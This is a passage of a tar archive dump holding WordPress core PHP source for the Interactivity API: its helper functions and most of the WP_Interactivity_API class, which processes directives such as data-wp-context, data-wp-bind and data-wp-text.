0010746 0 ustar 00 <?php /** * Interactivity API: Functions and hooks * * @package WordPress * @subpackage Interactivity API * @since 6.5.0 */ /** * Retrieves the main WP_Interactivity_API instance. * * It provides access to the WP_Interactivity_API instance, creating one if it * doesn't exist yet. * * @since 6.5.0 * * @global WP_Interactivity_API $wp_interactivity * * @return WP_Interactivity_API The main WP_Interactivity_API instance. */ function wp_interactivity(): WP_Interactivity_API { global $wp_interactivity; if ( ! ( $wp_interactivity instanceof WP_Interactivity_API ) ) { $wp_interactivity = new WP_Interactivity_API(); } return $wp_interactivity; } /** * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * @since 6.5.0 * * @param string $html The HTML content to process. * @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags. */ function wp_interactivity_process_directives( string $html ): string { return wp_interactivity()->process_directives( $html ); } /** * Gets and/or sets the initial state of an Interactivity API store for a * given namespace. * * If state for that store namespace already exists, it merges the new * provided state with the existing one. * * The namespace can be omitted inside derived state getters, using the * namespace where the getter is defined. * * @since 6.5.0 * @since 6.6.0 The namespace can be omitted when called inside derived state getters. * * @param string $store_namespace The unique store namespace identifier. * @param array $state Optional. The array that will be merged with the existing state for the specified * store namespace. * @return array The state for the specified store namespace. This will be the updated state if a $state argument was * provided. */ function wp_interactivity_state( ?string $store_namespace = null, array $state = array() ): array { return wp_interactivity()->state( $store_namespace, $state ); } /** * Gets and/or sets the configuration of the Interactivity API for a given * store namespace. * * If configuration for that store namespace exists, it merges the new * provided configuration with the existing one. * * @since 6.5.0 * * @param string $store_namespace The unique store namespace identifier. * @param array $config Optional. The array that will be merged with the existing configuration for the * specified store namespace. * @return array The configuration for the specified store namespace. This will be the updated configuration if a * $config argument was provided. */ function wp_interactivity_config( string $store_namespace, array $config = array() ): array { return wp_interactivity()->config( $store_namespace, $config ); } /** * Generates a `data-wp-context` directive attribute by encoding a context * array. * * This helper function simplifies the creation of `data-wp-context` directives * by providing a way to pass an array of data, which encodes into a JSON string * safe for direct use as a HTML attribute value. * * Example: * * <div <?php echo wp_interactivity_data_wp_context( array( 'isOpen' => true, 'count' => 0 ) ); ?>> * * @since 6.5.0 * * @param array $context The array of context data to encode. * @param string $store_namespace Optional. The unique store namespace identifier. * @return string A complete `data-wp-context` directive with a JSON encoded value representing the context array and * the store namespace if specified. */ function wp_interactivity_data_wp_context( array $context, string $store_namespace = '' ): string { return 'data-wp-context=\'' . ( $store_namespace ? $store_namespace . '::' : '' ) . ( empty( $context ) ? '{}' : wp_json_encode( $context, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP ) ) . '\''; } /** * Gets the current Interactivity API context for a given namespace. * * The function should be used only during directive processing. If the * `$store_namespace` parameter is omitted, it uses the current namespace value * on the internal namespace stack. * * It returns an empty array when the specified namespace is not defined. * * @since 6.6.0 * * @param string $store_namespace Optional. The unique store namespace identifier. * @return array The context for the specified store namespace. */ function wp_interactivity_get_context( ?string $store_namespace = null ): array { return wp_interactivity()->get_context( $store_namespace ); } /** * Returns an array representation of the current element being processed. * * The function should be used only during directive processing. * * @since 6.7.0 * * @return array{attributes: array<string, string|bool>}|null Current element. */ function wp_interactivity_get_element(): ?array { return wp_interactivity()->get_element(); } class-wp-interactivity-api.php 0000755 00000123723 14763634315 0012500 0 ustar 00 <?php /** * Interactivity API: WP_Interactivity_API class. * * @package WordPress * @subpackage Interactivity API * @since 6.5.0 */ /** * Class used to process the Interactivity API on the server. * * @since 6.5.0 */ final class WP_Interactivity_API { /** * Holds the mapping of directive attribute names to their processor methods. * * @since 6.5.0 * @var array */ private static $directive_processors = array( 'data-wp-interactive' => 'data_wp_interactive_processor', 'data-wp-router-region' => 'data_wp_router_region_processor', 'data-wp-context' => 'data_wp_context_processor', 'data-wp-bind' => 'data_wp_bind_processor', 'data-wp-class' => 'data_wp_class_processor', 'data-wp-style' => 'data_wp_style_processor', 'data-wp-text' => 'data_wp_text_processor', /* * `data-wp-each` needs to be processed in the last place because it moves * the cursor to the end of the processed items to prevent them to be * processed twice. */ 'data-wp-each' => 'data_wp_each_processor', ); /** * Holds the initial state of the different Interactivity API stores. * * This state is used during the server directive processing. Then, it is * serialized and sent to the client as part of the interactivity data to be * recovered during the hydration of the client interactivity stores. * * @since 6.5.0 * @var array */ private $state_data = array(); /** * Holds the configuration required by the different Interactivity API stores. * * This configuration is serialized and sent to the client as part of the * interactivity data and can be accessed by the client interactivity stores. * * @since 6.5.0 * @var array */ private $config_data = array(); /** * Flag that indicates whether the `data-wp-router-region` directive has * been found in the HTML and processed. * * The value is saved in a private property of the WP_Interactivity_API * instance instead of using a static variable inside the processor * function, which would hold the same value for all instances * independently of whether they have processed any * `data-wp-router-region` directive or not. * * @since 6.5.0 * @var bool */ private $has_processed_router_region = false; /** * Stack of namespaces defined by `data-wp-interactive` directives, in * the order they are processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.6.0 * @var array<string>|null */ private $namespace_stack = null; /** * Stack of contexts defined by `data-wp-context` directives, in * the order they are processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.6.0 * @var array<array<mixed>>|null */ private $context_stack = null; /** * Representation in array format of the element currently being processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.7.0 * @var array{attributes: array<string, string|bool>}|null */ private $current_element = null; /** * Gets and/or sets the initial state of an Interactivity API store for a * given namespace. * * If state for that store namespace already exists, it merges the new * provided state with the existing one. * * When no namespace is specified, it returns the state defined for the * current value in the internal namespace stack during a `process_directives` call. * * @since 6.5.0 * @since 6.6.0 The `$store_namespace` param is optional. * * @param string $store_namespace Optional. The unique store namespace identifier. * @param array $state Optional. The array that will be merged with the existing state for the specified * store namespace. * @return array The current state for the specified store namespace. This will be the updated state if a $state * argument was provided. */ public function state( ?string $store_namespace = null, ?array $state = null ): array { if ( ! $store_namespace ) { if ( $state ) { _doing_it_wrong( __METHOD__, __( 'The namespace is required when state data is passed.' ), '6.6.0' ); return array(); } if ( null !== $store_namespace ) { _doing_it_wrong( __METHOD__, __( 'The namespace should be a non-empty string.' ), '6.6.0' ); return array(); } if ( null === $this->namespace_stack ) { _doing_it_wrong( __METHOD__, __( 'The namespace can only be omitted during directive processing.' ), '6.6.0' ); return array(); } $store_namespace = end( $this->namespace_stack ); } if ( ! isset( $this->state_data[ $store_namespace ] ) ) { $this->state_data[ $store_namespace ] = array(); } if ( is_array( $state ) ) { $this->state_data[ $store_namespace ] = array_replace_recursive( $this->state_data[ $store_namespace ], $state ); } return $this->state_data[ $store_namespace ]; } /** * Gets and/or sets the configuration of the Interactivity API for a given * store namespace. * * If configuration for that store namespace exists, it merges the new * provided configuration with the existing one. * * @since 6.5.0 * * @param string $store_namespace The unique store namespace identifier. * @param array $config Optional. The array that will be merged with the existing configuration for the * specified store namespace. * @return array The configuration for the specified store namespace. This will be the updated configuration if a * $config argument was provided. */ public function config( string $store_namespace, array $config = array() ): array { if ( ! isset( $this->config_data[ $store_namespace ] ) ) { $this->config_data[ $store_namespace ] = array(); } if ( is_array( $config ) ) { $this->config_data[ $store_namespace ] = array_replace_recursive( $this->config_data[ $store_namespace ], $config ); } return $this->config_data[ $store_namespace ]; } /** * Prints the serialized client-side interactivity data. * * Encodes the config and initial state into JSON and prints them inside a * script tag of type "application/json". Once in the browser, the state will * be parsed and used to hydrate the client-side interactivity stores and the * configuration will be available using a `getConfig` utility. * * @since 6.5.0 * * @deprecated 6.7.0 Client data passing is handled by the {@see "script_module_data_{$module_id}"} filter. */ public function print_client_interactivity_data() { _deprecated_function( __METHOD__, '6.7.0' ); } /** * Set client-side interactivity-router data. * * Once in the browser, the state will be parsed and used to hydrate the client-side * interactivity stores and the configuration will be available using a `getConfig` utility. * * @since 6.7.0 * * @param array $data Data to filter. * @return array Data for the Interactivity Router script module. */ public function filter_script_module_interactivity_router_data( array $data ): array { if ( ! isset( $data['i18n'] ) ) { $data['i18n'] = array(); } $data['i18n']['loading'] = __( 'Loading page, please wait.' ); $data['i18n']['loaded'] = __( 'Page Loaded.' ); return $data; } /** * Set client-side interactivity data. * * Once in the browser, the state will be parsed and used to hydrate the client-side * interactivity stores and the configuration will be available using a `getConfig` utility. * * @since 6.7.0 * * @param array $data Data to filter. * @return array Data for the Interactivity API script module. */ public function filter_script_module_interactivity_data( array $data ): array { if ( empty( $this->state_data ) && empty( $this->config_data ) ) { return $data; } $config = array(); foreach ( $this->config_data as $key => $value ) { if ( ! empty( $value ) ) { $config[ $key ] = $value; } } if ( ! empty( $config ) ) { $data['config'] = $config; } $state = array(); foreach ( $this->state_data as $key => $value ) { if ( ! empty( $value ) ) { $state[ $key ] = $value; } } if ( ! empty( $state ) ) { $data['state'] = $state; } return $data; } /** * Returns the latest value on the context stack with the passed namespace. * * When the namespace is omitted, it uses the current namespace on the * namespace stack during a `process_directives` call. * * @since 6.6.0 * * @param string $store_namespace Optional. The unique store namespace identifier. */ public function get_context( ?string $store_namespace = null ): array { if ( null === $this->context_stack ) { _doing_it_wrong( __METHOD__, __( 'The context can only be read during directive processing.' ), '6.6.0' ); return array(); } if ( ! $store_namespace ) { if ( null !== $store_namespace ) { _doing_it_wrong( __METHOD__, __( 'The namespace should be a non-empty string.' ), '6.6.0' ); return array(); } $store_namespace = end( $this->namespace_stack ); } $context = end( $this->context_stack ); return ( $store_namespace && $context && isset( $context[ $store_namespace ] ) ) ? $context[ $store_namespace ] : array(); } /** * Returns an array representation of the current element being processed. * * The returned array contains a copy of the element attributes. * * @since 6.7.0 * * @return array{attributes: array<string, string|bool>}|null Current element. */ public function get_element(): ?array { if ( null === $this->current_element ) { _doing_it_wrong( __METHOD__, __( 'The element can only be read during directive processing.' ), '6.7.0' ); } return $this->current_element; } /** * Registers the `@wordpress/interactivity` script modules. * * @deprecated 6.7.0 Script Modules registration is handled by {@see wp_default_script_modules()}. * * @since 6.5.0 */ public function register_script_modules() { _deprecated_function( __METHOD__, '6.7.0', 'wp_default_script_modules' ); } /** * Adds the necessary hooks for the Interactivity API. * * @since 6.5.0 */ public function add_hooks() { add_filter( 'script_module_data_@wordpress/interactivity', array( $this, 'filter_script_module_interactivity_data' ) ); add_filter( 'script_module_data_@wordpress/interactivity-router', array( $this, 'filter_script_module_interactivity_router_data' ) ); } /** * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * @since 6.5.0 * * @param string $html The HTML content to process. * @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags. */ public function process_directives( string $html ): string { if ( ! str_contains( $html, 'data-wp-' ) ) { return $html; } $this->namespace_stack = array(); $this->context_stack = array(); $result = $this->_process_directives( $html ); $this->namespace_stack = null; $this->context_stack = null; return null === $result ? $html : $result; } /** * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * It uses the WP_Interactivity_API instance's context and namespace stacks, * which are shared between all calls. * * This method returns null if the HTML contains unbalanced tags. * * @since 6.6.0 * * @param string $html The HTML content to process. * @return string|null The processed HTML content. It returns null when the HTML contains unbalanced tags. */ private function _process_directives( string $html ) { $p = new WP_Interactivity_API_Directives_Processor( $html ); $tag_stack = array(); $unbalanced = false; $directive_processor_prefixes = array_keys( self::$directive_processors ); $directive_processor_prefixes_reversed = array_reverse( $directive_processor_prefixes ); /* * Save the current size for each stack to restore them in case * the processing finds unbalanced tags. */ $namespace_stack_size = count( $this->namespace_stack ); $context_stack_size = count( $this->context_stack ); while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) { $tag_name = $p->get_tag(); /* * Directives inside SVG and MATH tags are not processed, * as they are not compatible with the Tag Processor yet. * We still process the rest of the HTML. */ if ( 'SVG' === $tag_name || 'MATH' === $tag_name ) { if ( $p->get_attribute_names_with_prefix( 'data-wp-' ) ) { /* translators: 1: SVG or MATH HTML tag, 2: Namespace of the interactive block. */ $message = sprintf( __( 'Interactivity directives were detected on an incompatible %1$s tag when processing "%2$s". These directives will be ignored in the server side render.' ), $tag_name, end( $this->namespace_stack ) ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); } $p->skip_to_tag_closer(); continue; } if ( $p->is_tag_closer() ) { list( $opening_tag_name, $directives_prefixes ) = end( $tag_stack ); if ( 0 === count( $tag_stack ) || $opening_tag_name !== $tag_name ) { /* * If the tag stack is empty or the matching opening tag is not the * same than the closing tag, it means the HTML is unbalanced and it * stops processing it. */ $unbalanced = true; break; } else { // Remove the last tag from the stack. array_pop( $tag_stack ); } } else { if ( 0 !== count( $p->get_attribute_names_with_prefix( 'data-wp-each-child' ) ) ) { /* * If the tag has a `data-wp-each-child` directive, jump to its closer * tag because those tags have already been processed. */ $p->next_balanced_tag_closer_tag(); continue; } else { $directives_prefixes = array(); // Checks if there is a server directive processor registered for each directive. foreach ( $p->get_attribute_names_with_prefix( 'data-wp-' ) as $attribute_name ) { list( $directive_prefix ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( array_key_exists( $directive_prefix, self::$directive_processors ) ) { $directives_prefixes[] = $directive_prefix; } } /* * If this tag will visit its closer tag, it adds it to the tag stack * so it can process its closing tag and check for unbalanced tags. */ if ( $p->has_and_visits_its_closer_tag() ) { $tag_stack[] = array( $tag_name, $directives_prefixes ); } } } /* * If the matching opener tag didn't have any directives, it can skip the * processing. */ if ( 0 === count( $directives_prefixes ) ) { continue; } // Directive processing might be different depending on if it is entering the tag or exiting it. $modes = array( 'enter' => ! $p->is_tag_closer(), 'exit' => $p->is_tag_closer() || ! $p->has_and_visits_its_closer_tag(), ); // Get the element attributes to include them in the element representation. $element_attrs = array(); $attr_names = $p->get_attribute_names_with_prefix( '' ) ?? array(); foreach ( $attr_names as $name ) { $element_attrs[ $name ] = $p->get_attribute( $name ); } // Assign the current element right before running its directive processors. $this->current_element = array( 'attributes' => $element_attrs, ); foreach ( $modes as $mode => $should_run ) { if ( ! $should_run ) { continue; } /* * Sorts the attributes by the order of the `directives_processor` array * and checks what directives are present in this element. */ $existing_directives_prefixes = array_intersect( 'enter' === $mode ? $directive_processor_prefixes : $directive_processor_prefixes_reversed, $directives_prefixes ); foreach ( $existing_directives_prefixes as $directive_prefix ) { $func = is_array( self::$directive_processors[ $directive_prefix ] ) ? self::$directive_processors[ $directive_prefix ] : array( $this, self::$directive_processors[ $directive_prefix ] ); call_user_func_array( $func, array( $p, $mode, &$tag_stack ) ); } } // Clear the current element. $this->current_element = null; } if ( $unbalanced ) { // Reset the namespace and context stacks to their previous values. array_splice( $this->namespace_stack, $namespace_stack_size ); array_splice( $this->context_stack, $context_stack_size ); } /* * It returns null if the HTML is unbalanced because unbalanced HTML is * not safe to process. In that case, the Interactivity API runtime will * update the HTML on the client side during the hydration. It will also * display a notice to the developer to inform them about the issue. */ if ( $unbalanced || 0 < count( $tag_stack ) ) { $tag_errored = 0 < count( $tag_stack ) ? end( $tag_stack )[0] : $tag_name; /* translators: %1s: Namespace processed, %2s: The tag that caused the error; could be any HTML tag. */ $message = sprintf( __( 'Interactivity directives failed to process in "%1$s" due to a missing "%2$s" end tag.' ), end( $this->namespace_stack ), $tag_errored ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); return null; } return $p->get_updated_html(); } /** * Evaluates the reference path passed to a directive based on the current * store namespace, state and context. * * @since 6.5.0 * @since 6.6.0 The function now adds a warning when the namespace is null, falsy, or the directive value is empty. * @since 6.6.0 Removed `default_namespace` and `context` arguments. * @since 6.6.0 Add support for derived state. * * @param string|true $directive_value The directive attribute value string or `true` when it's a boolean attribute. * @return mixed|null The result of the evaluation. Null if the reference path doesn't exist or the namespace is falsy. */ private function evaluate( $directive_value ) { $default_namespace = end( $this->namespace_stack ); $context = end( $this->context_stack ); list( $ns, $path ) = $this->extract_directive_value( $directive_value, $default_namespace ); if ( ! $ns || ! $path ) { /* translators: %s: The directive value referenced. */ $message = sprintf( __( 'Namespace or reference path cannot be empty. Directive value referenced: %s' ), $directive_value ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); return null; } $store = array( 'state' => $this->state_data[ $ns ] ?? array(), 'context' => $context[ $ns ] ?? array(), ); // Checks if the reference path is preceded by a negation operator (!). $should_negate_value = '!' === $path[0]; $path = $should_negate_value ? substr( $path, 1 ) : $path; // Extracts the value from the store using the reference path. $path_segments = explode( '.', $path ); $current = $store; foreach ( $path_segments as $path_segment ) { if ( ( is_array( $current ) || $current instanceof ArrayAccess ) && isset( $current[ $path_segment ] ) ) { $current = $current[ $path_segment ]; } elseif ( is_object( $current ) && isset( $current->$path_segment ) ) { $current = $current->$path_segment; } else { $current = null; break; } if ( $current instanceof Closure ) { /* * This state getter's namespace is added to the stack so that * `state()` or `get_config()` read that namespace when called * without specifying one. */ array_push( $this->namespace_stack, $ns ); try { $current = $current(); } catch ( Throwable $e ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: 1: Path pointing to an Interactivity API state property, 2: Namespace for an Interactivity API store. */ __( 'Uncaught error executing a derived state callback with path "%1$s" and namespace "%2$s".' ), $path, $ns ), '6.6.0' ); return null; } finally { // Remove the property's namespace from the stack. array_pop( $this->namespace_stack ); } } } // Returns the opposite if it contains a negation operator (!). return $should_negate_value ? ! $current : $current; } /** * Extracts the directive attribute name to separate and return the directive * prefix and an optional suffix. * * The suffix is the string after the first double hyphen and the prefix is * everything that comes before the suffix. * * Example: * * extract_prefix_and_suffix( 'data-wp-interactive' ) => array( 'data-wp-interactive', null ) * extract_prefix_and_suffix( 'data-wp-bind--src' ) => array( 'data-wp-bind', 'src' ) * extract_prefix_and_suffix( 'data-wp-foo--and--bar' ) => array( 'data-wp-foo', 'and--bar' ) * * @since 6.5.0 * * @param string $directive_name The directive attribute name. * @return array An array containing the directive prefix and optional suffix. */ private function extract_prefix_and_suffix( string $directive_name ): array { return explode( '--', $directive_name, 2 ); } /** * Parses and extracts the namespace and reference path from the given * directive attribute value. * * If the value doesn't contain an explicit namespace, it returns the * default one. If the value contains a JSON object instead of a reference * path, the function tries to parse it and return the resulting array. If * the value contains strings that represent booleans ("true" and "false"), * numbers ("1" and "1.2") or "null", the function also transform them to * regular booleans, numbers and `null`. * * Example: * * extract_directive_value( 'actions.foo', 'myPlugin' ) => array( 'myPlugin', 'actions.foo' ) * extract_directive_value( 'otherPlugin::actions.foo', 'myPlugin' ) => array( 'otherPlugin', 'actions.foo' ) * extract_directive_value( '{ "isOpen": false }', 'myPlugin' ) => array( 'myPlugin', array( 'isOpen' => false ) ) * extract_directive_value( 'otherPlugin::{ "isOpen": false }', 'myPlugin' ) => array( 'otherPlugin', array( 'isOpen' => false ) ) * * @since 6.5.0 * * @param string|true $directive_value The directive attribute value. It can be `true` when it's a boolean * attribute. * @param string|null $default_namespace Optional. The default namespace if none is explicitly defined. * @return array An array containing the namespace in the first item and the JSON, the reference path, or null on the * second item. */ private function extract_directive_value( $directive_value, $default_namespace = null ): array { if ( empty( $directive_value ) || is_bool( $directive_value ) ) { return array( $default_namespace, null ); } // Replaces the value and namespace if there is a namespace in the value. if ( 1 === preg_match( '/^([\w\-_\/]+)::./', $directive_value ) ) { list($default_namespace, $directive_value) = explode( '::', $directive_value, 2 ); } /* * Tries to decode the value as a JSON object. If it fails and the value * isn't `null`, it returns the value as it is. Otherwise, it returns the * decoded JSON or null for the string `null`. */ $decoded_json = json_decode( $directive_value, true ); if ( null !== $decoded_json || 'null' === $directive_value ) { $directive_value = $decoded_json; } return array( $default_namespace, $directive_value ); } /** * Transforms a kebab-case string to camelCase. * * @param string $str The kebab-case string to transform to camelCase. * @return string The transformed camelCase string. */ private function kebab_to_camel_case( string $str ): string { return lcfirst( preg_replace_callback( '/(-)([a-z])/', function ( $matches ) { return strtoupper( $matches[2] ); }, strtolower( rtrim( $str, '-' ) ) ) ); } /** * Processes the `data-wp-interactive` directive. * * It adds the default store namespace defined in the directive value to the * stack so that it's available for the nested interactivity elements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_interactive_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { // When exiting tags, it removes the last namespace from the stack. if ( 'exit' === $mode ) { array_pop( $this->namespace_stack ); return; } // Tries to decode the `data-wp-interactive` attribute value. $attribute_value = $p->get_attribute( 'data-wp-interactive' ); /* * Pushes the newly defined namespace or the current one if the * `data-wp-interactive` definition was invalid or does not contain a * namespace. It does so because the function pops out the current namespace * from the stack whenever it finds a `data-wp-interactive`'s closing tag, * independently of whether the previous `data-wp-interactive` definition * contained a valid namespace. */ $new_namespace = null; if ( is_string( $attribute_value ) && ! empty( $attribute_value ) ) { $decoded_json = json_decode( $attribute_value, true ); if ( is_array( $decoded_json ) ) { $new_namespace = $decoded_json['namespace'] ?? null; } else { $new_namespace = $attribute_value; } } $this->namespace_stack[] = ( $new_namespace && 1 === preg_match( '/^([\w\-_\/]+)/', $new_namespace ) ) ? $new_namespace : end( $this->namespace_stack ); } /** * Processes the `data-wp-context` directive. * * It adds the context defined in the directive value to the stack so that * it's available for the nested interactivity elements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_context_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { // When exiting tags, it removes the last context from the stack. if ( 'exit' === $mode ) { array_pop( $this->context_stack ); return; } $attribute_value = $p->get_attribute( 'data-wp-context' ); $namespace_value = end( $this->namespace_stack ); // Separates the namespace from the context JSON object. list( $namespace_value, $decoded_json ) = is_string( $attribute_value ) && ! empty( $attribute_value ) ? $this->extract_directive_value( $attribute_value, $namespace_value ) : array( $namespace_value, null ); /* * If there is a namespace, it adds a new context to the stack merging the * previous context with the new one. */ if ( is_string( $namespace_value ) ) { $this->context_stack[] = array_replace_recursive( end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(), array( $namespace_value => is_array( $decoded_json ) ? $decoded_json : array() ) ); } else { /* * If there is no namespace, it pushes the current context to the stack. * It needs to do so because the function pops out the current context * from the stack whenever it finds a `data-wp-context`'s closing tag. */ $this->context_stack[] = end( $this->context_stack ); } } /** * Processes the `data-wp-bind` directive. * * It updates or removes the bound attributes based on the evaluation of its * associated reference. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_bind_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $all_bind_directives = $p->get_attribute_names_with_prefix( 'data-wp-bind--' ); foreach ( $all_bind_directives as $attribute_name ) { list( , $bound_attribute ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( empty( $bound_attribute ) ) { return; } $attribute_value = $p->get_attribute( $attribute_name ); $result = $this->evaluate( $attribute_value ); if ( null !== $result && ( false !== $result || ( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] ) ) ) { /* * If the result of the evaluation is a boolean and the attribute is * `aria-` or `data-, convert it to a string "true" or "false". It * follows the exact same logic as Preact because it needs to * replicate what Preact will later do in the client: * https://github.com/preactjs/preact/blob/ea49f7a0f9d1ff2c98c0bdd66aa0cbc583055246/src/diff/props.js#L131C24-L136 */ if ( is_bool( $result ) && ( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] ) ) { $result = $result ? 'true' : 'false'; } $p->set_attribute( $bound_attribute, $result ); } else { $p->remove_attribute( $bound_attribute ); } } } } /** * Processes the `data-wp-class` directive. * * It adds or removes CSS classes in the current HTML element based on the * evaluation of its associated references. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_class_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $all_class_directives = $p->get_attribute_names_with_prefix( 'data-wp-class--' ); foreach ( $all_class_directives as $attribute_name ) { list( , $class_name ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( empty( $class_name ) ) { return; } $attribute_value = $p->get_attribute( $attribute_name ); $result = $this->evaluate( $attribute_value ); if ( $result ) { $p->add_class( $class_name ); } else { $p->remove_class( $class_name ); } } } } /** * Processes the `data-wp-style` directive. * * It updates the style attribute value of the current HTML element based on * the evaluation of its associated references. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_style_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $all_style_attributes = $p->get_attribute_names_with_prefix( 'data-wp-style--' ); foreach ( $all_style_attributes as $attribute_name ) { list( , $style_property ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( empty( $style_property ) ) { continue; } $directive_attribute_value = $p->get_attribute( $attribute_name ); $style_property_value = $this->evaluate( $directive_attribute_value ); $style_attribute_value = $p->get_attribute( 'style' ); $style_attribute_value = ( $style_attribute_value && ! is_bool( $style_attribute_value ) ) ? $style_attribute_value : ''; /* * Checks first if the style property is not falsy and the style * attribute value is not empty because if it is, it doesn't need to * update the attribute value. */ if ( $style_property_value || $style_attribute_value ) { $style_attribute_value = $this->merge_style_property( $style_attribute_value, $style_property, $style_property_value ); /* * If the style attribute value is not empty, it sets it. Otherwise, * it removes it. */ if ( ! empty( $style_attribute_value ) ) { $p->set_attribute( 'style', $style_attribute_value ); } else { $p->remove_attribute( 'style' ); } } } } } /** * Merges an individual style property in the `style` attribute of an HTML * element, updating or removing the property when necessary. * * If a property is modified, the old one is removed and the new one is added * at the end of the list. * * @since 6.5.0 * * Example: * * merge_style_property( 'color:green;', 'color', 'red' ) => 'color:red;' * merge_style_property( 'background:green;', 'color', 'red' ) => 'background:green;color:red;' * merge_style_property( 'color:green;', 'color', null ) => '' * * @param string $style_attribute_value The current style attribute value. * @param string $style_property_name The style property name to set. * @param string|false|null $style_property_value The value to set for the style property. With false, null or an * empty string, it removes the style property. * @return string The new style attribute value after the specified property has been added, updated or removed. */ private function merge_style_property( string $style_attribute_value, string $style_property_name, $style_property_value ): string { $style_assignments = explode( ';', $style_attribute_value ); $result = array(); $style_property_value = ! empty( $style_property_value ) ? rtrim( trim( $style_property_value ), ';' ) : null; $new_style_property = $style_property_value ? $style_property_name . ':' . $style_property_value . ';' : ''; // Generates an array with all the properties but the modified one. foreach ( $style_assignments as $style_assignment ) { if ( empty( trim( $style_assignment ) ) ) { continue; } list( $name, $value ) = explode( ':', $style_assignment ); if ( trim( $name ) !== $style_property_name ) { $result[] = trim( $name ) . ':' . trim( $value ) . ';'; } } // Adds the new/modified property at the end of the list. $result[] = $new_style_property; return implode( '', $result ); } /** * Processes the `data-wp-text` directive. * * It updates the inner content of the current HTML element based on the * evaluation of its associated reference. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_text_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $attribute_value = $p->get_attribute( 'data-wp-text' ); $result = $this->evaluate( $attribute_value ); /* * Follows the same logic as Preact in the client and only changes the * content if the value is a string or a number. Otherwise, it removes the * content. */ if ( is_string( $result ) || is_numeric( $result ) ) { $p->set_content_between_balanced_tags( esc_html( $result ) ); } else { $p->set_content_between_balanced_tags( '' ); } } } /** * Returns the CSS styles for animating the top loading bar in the router. * * @since 6.5.0 * * @return string The CSS styles for the router's top loading bar animation. */ private function get_router_animation_styles(): string { return <<<CSS .wp-interactivity-router-loading-bar { position: fixed; top: 0; left: 0; margin: 0; padding: 0; width: 100vw; max-width: 100vw !important; height: 4px; background-color: #000; opacity: 0 } .wp-interactivity-router-loading-bar.start-animation { animation: wp-interactivity-router-loading-bar-start-animation 30s cubic-bezier(0.03, 0.5, 0, 1) forwards } .wp-interactivity-router-loading-bar.finish-animation { animation: wp-interactivity-router-loading-bar-finish-animation 300ms ease-in } @keyframes wp-interactivity-router-loading-bar-start-animation { 0% { transform: scaleX(0); transform-origin: 0 0; opacity: 1 } 100% { transform: scaleX(1); transform-origin: 0 0; opacity: 1 } } @keyframes wp-interactivity-router-loading-bar-finish-animation { 0% { opacity: 1 } 50% { opacity: 1 } 100% { opacity: 0 } } CSS; } /** * Deprecated. * * @since 6.5.0 * @deprecated 6.7.0 Use {@see WP_Interactivity_API::print_router_markup} instead. */ public function print_router_loading_and_screen_reader_markup() { _deprecated_function( __METHOD__, '6.7.0', 'WP_Interactivity_API::print_router_markup' ); // Call the new method. $this->print_router_markup(); } /** * Outputs markup for the @wordpress/interactivity-router script module. * * This method prints a div element representing a loading bar visible during * navigation. * * @since 6.7.0 */ public function print_router_markup() { echo <<<HTML <div class="wp-interactivity-router-loading-bar" data-wp-interactive="core/router" data-wp-class--start-animation="state.navigation.hasStarted" data-wp-class--finish-animation="state.navigation.hasFinished" ></div> HTML; } /** * Processes the `data-wp-router-region` directive. * * It renders in the footer a set of HTML elements to notify users about * client-side navigations. More concretely, the elements added are 1) a * top loading bar to visually inform that a navigation is in progress * and 2) an `aria-live` region for accessible navigation announcements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_router_region_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode && ! $this->has_processed_router_region ) { $this->has_processed_router_region = true; // Enqueues as an inline style. wp_register_style( 'wp-interactivity-router-animations', false ); wp_add_inline_style( 'wp-interactivity-router-animations', $this->get_router_animation_styles() ); wp_enqueue_style( 'wp-interactivity-router-animations' ); // Adds the necessary markup to the footer. add_action( 'wp_footer', array( $this, 'print_router_markup' ) ); } } /** * Processes the `data-wp-each` directive. * * This directive gets an array passed as reference and iterates over it * generating new content for each item based on the inner markup of the * `template` tag. * * @since 